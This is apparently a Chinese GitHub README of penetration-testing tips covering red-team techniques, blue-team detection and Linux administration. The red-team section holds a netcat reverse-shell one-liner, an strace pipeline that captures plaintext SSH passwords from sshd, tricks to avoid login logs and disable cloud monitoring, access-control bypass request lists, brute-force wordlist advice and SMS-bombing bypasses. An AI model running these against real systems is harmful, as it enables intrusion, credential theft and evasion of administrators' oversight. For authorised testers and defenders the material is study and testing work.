MetSystem / Pentest101

每周(也许不)分享一些关于渗透测试的知识点

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Pentest101

每周(也许不)分享一些关于渗透测试的知识点


无论红队还是蓝队,干活之前先让客户保存好日志和备份.(在啰嗦我也要说,血的教训)


大纲


红队

有 wsdl/soap 不知道怎么测?除了老版本awvs以外可以使用 soapui 直接抓取目标接口,也可用 burp 插件 Wsdler


避免记录登录日志的小技巧

ssh -T user@host /bin/bash -i

-T 代表不要分配 tty,-i 代表要一个交互型的 bash

来自文章 : Linux 系统日志小结


如何关闭 http://burp 防止蜜罐探测

  • Proxy - Options - Miscellaneous - Disable web interface at http://burp


检测暗链的小技巧,使用爬虫的 user-agent 遍历访问目标,对比 title 和内容


DNS收集的优先级 被动+爬取+过滤 > 主动扫描+爆破

  • 可以使用这种思路 rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤

对于未知的webshell,可以尝试爆破路径、密码

也加一些参数,尝试报错,看会不会有密码


nc 用的不爽可以尝试换个 reverse-shell 工具,推荐个 https://github.com/nodauf/Girsh ,go写的,可以自动检测OS并执行正确的命令,将其升级为一个完整的交互式反向shell。


从反编译的 apk 文件中提取相关域名链接/IP

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto

通过正则从 apk 中提取一些敏感信息

apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/

如果登录系统设置了 IP 地址白名单,我们可以通过修改 http 头字段伪造 IP 地址

或者直接修改 host 头

curl -v -H "Host: localhost" https://target/
wget -d --header="Host: localhost" https://target/

有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容

pip3 install remotezip
remotezip -l "http://site/bigfile.zip"          # 列出远程zip文件的内容
remotezip "http://site/bigfile.zip" "file.txt"  # 从远程zip⽂件解压出file.txt

URL跳转漏洞字典: https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_Redirect.txt


burp 在忽略目标的时候是配置 Intercept Client Requests , 但是这个选项不支持批量导入, 只能一条一套的添加, 非常反人类, 所以 windows 下可以通过 Proxifier 配置 Rules 做到忽略指定的 host

附赠一个 Target hosts 列表


npm 和 github 加速可以使用 jsdelivr 的 cdn 进行加速,但 jsdelivr 不支持 release 的发布文件下载,可以采用 cf worker 部署的代理服务进行加速


在 linux 中不知道当前用户可用什么命令,可以使用下面的命令,这条命令可以列出所有可用的命令(有点拗口)

compgen -c

火绒拦截扫描,如何关闭拦截?

  • 火绒>网络防护>基础防护中关闭


druid 未授权访问常见路径

  • /druid/websession.html
  • /system/druid/websession.html
  • /webpage/system/druid/websession.html

爆破目标用户名时应考虑如下可能:

  • 撞库
  • 常见手机号
  • 常见登录账号(admin、manager、test、deme)
  • 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
  • 拼音(zhangsan、zhang.san、zhangs)
  • 中文(张三、李四、张san)
  • 英文名(Tom、Jeo、Cherry)
  • 单位名(zssx123、zssx@123)
  • 地名(beijing123、beijing@123)
  • 组合(地名+单位名)
  • 域名(baidu@123、JD@123)
  • 生日组合

整理字典时,推荐用linux下的工具快速合并和去重

cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt

信息收集小技巧,仔细观察目标页面的js路径,多找几个js目录,专门用js字典进行爆破,获取的js脚本列表,再调用工具去匹配路径和凭证。


有时一些上传点没有过滤,但你访问文件是通过函数调用获取文件,这个时候可以先测下任意文件读,然后尝试get改为post在测试任意文件读,如果存在,尝试通过任意文件读找路径


打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。


我们在后渗透过程中经常要传 payload 到目标,临时起的文件服务器都是 python 一条命令的事

  • Python 2.x
    python -m SimpleHTTPServer 8000
    # 在当前目录起个 8000 端口的 HTTP 服务
  • Python 3.x
    python -m http.server 8000 --bind 0.0.0.0
  • 推荐一个可以加密码的,一条命令python服务器模块
    pip3 install updog
    updog --port 8888 --password test1234
    

一般来说,某些场景多个服务是协同的关系,比如就这个 LiveCMS 服务一定和下面的监控设备有连接,不然日志不会这么大,可以搞一搞下级监控,也可以专门搞一搞这个 LiveCMS 和 LiveSMS、LiveGBS 试试 LiveCMS 端口使用

  • TCP 端口 : 5060(SIP), 10000(HTTP), 26379(Redis)
  • UDP 端口 : 5060(SIP)

LiveSMS : SIP 流媒体服务, 根据需要可部署多套

  • TCP 端口 : 5070(SIP), 10001(HTTP), 11935(RTMP Live), 30000-40000(RTP over TCP)
  • UDP 端口 : 5070(SIP), 50000-60000(RTP/RTCP over UDP)

有时候我们拿了一台 docker 机器,发现没有 ifconfig 命令也没有 ip 命令,不清楚怎么看 IP,这时候可以通过查看 proc 文件的方式来查看

cat /proc/net/fib_trie
cat /etc/sysconfig/network

渗透时遇到某些上传点未作过滤,但负载均衡做了过滤后缀名的情况,可以上传 webshell 命名为 index.php,然后访问 xxx.com/xxx/upload, 尝试 bypass 反代的策略


当渗透时遇到了 403 或者 302、401 的拒绝访问,不要怕,多 FUZZ 几次

  • 从 HTTP Header 层面 bypass

    GET /admin HTTP/1.1
    Host: web.com   # ===> 403
    
    GET /anything HTTP/1.1
    Host: web.com
    X-Original-URL: /admin  # ===> 200
    
    GET /anything HTTP/1.1
    Host: web.com
    Referer: https://web.com/admin  # ===> 200
    
    GET https://qq.com HTTP/1.1
    Host: web.com   # ===> SSRF
  • 从 URL 参数层面 bypass

    /admin/panel    # ===> 403
    /admin/monitor  # ===> 200
    
    /admin/monitor/;panel   # ===> 302
    web.com/admin   # ===> 403
    
    web.com/ADMIN       # ===> 200
    web.com/admin/      # ===> 200
    web.com/admin/.     # ===> 200
    web.com//admin//    # ===> 200
    web.com/./admin/./  # ===> 200
    web.com/./admin/..  # ===> 200
    web.com/%2f/admin/  # ===> 200
    web.com/admin.json  # ===> 200(ruby)
    
    web.com/%2e/admin   # ===> 200
    web.com/%252e/admin # ===> 200
    web.com/%ef%bc%8fadmin  # ===> 200
    
    web.com/admin       # ===> 302
    web.com/admin..;/   # ===> 200
  • 从协议层面 bypass

    http://web.com/admin    # ===> 403
    https://web.com/admin   # ===> 200

当我们拿下 windows 机器时可以通过抓内存中的密码进行横向,但 linux 却不可能抓到内存中的密码,但是 Debian 系列下的 linux 系统可以通过监听 sshd 进程的数据抓取出明文密码,比如你拿下了一台管理员机器,上面有 xshell,你可以手动开一个监听,在开一个登录,监听的窗口上就抓出密码了

strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write\(\d, "\\x00' | perl -lne '$|++; @F=/"\s*([^"]+)\s*"/g;for (@F){tr/\\x//d}; print for @F'|grep --line-buffered -oP '.{8}\K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'

当然你也可以直接用工具抓 xshell 存的密码

  • Arvanaghi/SessionGopher - 使用 WMI 提取 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft remote Desktop 等远程访问工具保存的会话信息的 ps 脚本
  • uknowsec/SharpDecryptPwd - 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。

渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的


linux 下代理不用多说, proxychains-ng,windows 下推荐用 Proxifier


MSF 和 CS 中 Stage 与 Stageless 的区别

  • Stage : 先传一个 shellcode,然后回连端口,加载恶意 metsrv,然后再请求 stdapi 于 priv,进行上线
  • Stageless : 将 shellcode、metsrv、stdapi、priv 打包,一次性传完
  • 如果想让 msf 直接回弹到 NC,那么必须要用 stageless

判断目标主机是不是虚拟机、容器

  • windows
    • cmd : systeminfo
    • Powershell : get-wmiobject win32_computersystem | fl model
  • linux
    lshw -class system | grep -i VM & grep -i virtual
    dmesg | grep -i VM & grep -i virtual
    dmidecode -s system-product-name
    ls /tmp
    systemd-detect-virt
    virt-what
    ls -alh /.dockerenv
    cat /proc/1/cgroup

msf 框架其实有许多 UI 界面的工具, 可以帮助不习惯命令行的渗透测试人员进行渗透,我举几个例子


在进行云主机后渗透时,如果触发敏感操作,会有短信提醒到管理员手机上,这个时候可以酌情考虑卸载云主机的监控 (有时你用云主机装 SSR 会无法连接也是这个原因)


rlwrap 工具,可以完美解决各类 shell 中无法上下左右的问题

例如 ,回弹了 shell,手贱按了上,这种情况(我想你一定遇到过🤣🤣🤣🤣)

  • 安装:
    apt install rlwrap
  • 使用:
    rlwrap [Command]

cAdvisor 是 Google 出品的用于监控 Docker 容器的服务,渗透时遇到这个服务基本上是存在容器环境


新版 kali 2020 版后使用 root 账号默认不给密码,如果你想,可以直接进行修改 : sudo passwd root


nc 具有多个版本, 比如: traditional、openbsd、ncat

  • traditional 最老的版本,支持最基本的功能
  • openbsd 安全版本,回弹要用一大段命令
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
  • ncat 新版本, 重构了旧版的代码并支持了许多新功能, debian 系列发行版下通过以下命令进行安装配置
    apt install -y ncat
    update-alternatives --set nc /usr/bin/ncat

程序溢出,int 最大值为 2147483647,可尝试使用该值进行整数溢出,观察现象。

来自项目 : Power7089/PenetrationTest-Tips


图片验证码可设置为空,如:code=undefined

来自项目 : Power7089/PenetrationTest-Tips

也可以使用字典进行 fuzz


任意文件下载:/porc/self/cmdline -- 当前进程的 cmdline 参数,/var/lib/mlocate/mlocate.db -- 全文件路径。

来自项目 : Power7089/PenetrationTest-Tips


  • 138888888889 12 位经过短信网关取前 11 位,导致短信轰炸
  • 短信轰炸绕过:手机号前加 + 86 有可能会绕过,手机号输入邮箱,邮箱处输入手机号
  • 手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
  • 手机号前加若干 + 会造成短信轰炸
  • 获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码

来自项目 : Power7089/PenetrationTest-Tips


蓝队

流量分析除了 wireshark 用科来的工具进行分析也是个不错的选择,有时候做 ctf 的分析题,直接用科来工具打开就可以发现异常包,还是挺有帮助的


CobaltStrike 的 Fofa 语法

cert="73:6B:5E:DB:CF:C9:19:1D:5B:D0:1F:8C:E3:AB:56:38:18:9F:02:4F"

红队常用的扫描器特征


"Beacon.dll"、"beacon.x64.dll" 和 "ReflectiveLoader" 默认是 CS Beacon 的硬编码特征。当寻找内存中的后门时,可以利用这一点


Linux


当运行一个程序发现缺少库时,可以使用 apt-file 进行搜索,然后安装对应的软件包

apt install apt-file
apt-file update
apt-file search <xxx>
apt install <xxx>

来自项目 : firmianay/Tips-for-Geek


用于文本处理的几个工具


命令行下截图的一种不错的方式

  • asciinema

神器级工具,Linux 下的 everything


推荐一个 linux 小工具 trash-cli 用于移动文件到回收站,同时会记录文件的原地址、删除日期和权限。trash-cli 和 KDE、GNOME、XFCE 使用同一个回收站,你可以在命令行或脚本运行 trash-cli。一定程度上可以代替 rm


一个探针工具,可用于实时监测服务器运行状况


linux 使用过程中经常出现安装软件包失败的问题,很多情况是遇到了锁,可以直接删除(运维兄弟们,生产环境下不要用啊🤣🤣🤣)

  • debian系 报错:无法获得锁 /var/lib/apt/lists/lock - open (11: 资源暂时不可用)
    rm -rf /var/cache/apt/archives/lock
    rm -rf /var/lib/dpkg/lock-frontend
    rm -rf /var/lib/dpkg/lock
    rm /var/lib/dpkg/lock
    rm /var/lib/apt/lists/lock
  • redhat系 报错:/var/run/yum.pid 已被锁定,PID 为 xxxx 的另一个程序正在运行.
    rm -f /var/run/yum.pid 2> /dev/null
  • 特立独行的 Fedora 报错:Waiting for process with pid to finish.
    rm -f /var/cache/dnf/metadata_lock.pid 2> /dev/null

在 linux 中安装一些组件的依赖时会有比如 python-dev 和 python-devel 的区别,devel 或 dev 包主要是供开发用,这代表不同的发行版本,redhat 系是 devel ,debian 系是 dev


修改 Linux 的 DNS 一直是一个问题,每次开机 dns 都会重置,debian 下可以使用 dns 管理工具一劳永逸的解决

  • 安装
    apt-get install -y resolvconf
  • 配置
    echo "nameserver 223.5.5.5" > /etc/resolvconf/resolv.conf.d/head
  • 更新
    resolvconf -u
  • 若需要更改 DNS,请修改 /etc/resolvconf/resolv.conf.d/head 文件

如果在 red hat 系发行版中需要装开发工具,建议安装 Development Tools ,可以将常用软件,一次性装好

  • 安装
    yum groupinstall -y "Development Tools"

分享几个linux性能调优的技巧

sync    # sync 命令做同步,以确保文件系统的完整性,将所有未写的系统缓冲区写到磁盘中,包含已修改的 i-node、已延的块 I/O 和写映射文件.否则在释放缓存的过程中,可能会丢失未保存的文件.
echo 1 > /proc/sys/vm/drop_caches   # 清理 pagecache(页面缓存)
echo 2 > /proc/sys/vm/drop_caches   # 清理 dentries(目录缓存)和inodes
echo 3 > /proc/sys/vm/drop_caches   # 清理 pagecache、dentries 和 inodes
sync

# 取消开启文件数限制
ulimit -n 65535

# 优化内存
echo 128 > /proc/sys/vm/nr_hugepages        # 默认为0
sysctl -w vm.nr_hugepages=128

最近在 linux 搭建 vpn 服务的时候遇到时间和时区不同步的情况,分享下解决方案

查看当前时区

timedatectl

修改当前时区:

timedatectl set-timezone Asia/Shanghai
#
cp  /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime

由于 python 官方停止了对 python2 的维护,以后大部分和 pip2 有关的操作都会报下面这个错,我预估一下,这个应该是以后我们遇到最常见的问题之一, 解决方案很简单, 安装指定版本的 pip2 即可

curl https://bootstrap.pypa.io/2.7/get-pip.py --output get-pip.py
python get-pip.py

Python 2 在 Ubuntu 20 上不存在,但是有时候还是需要的。可以通过以下命令安装

apt-get install python-is-python2

About

每周(也许不)分享一些关于渗透测试的知识点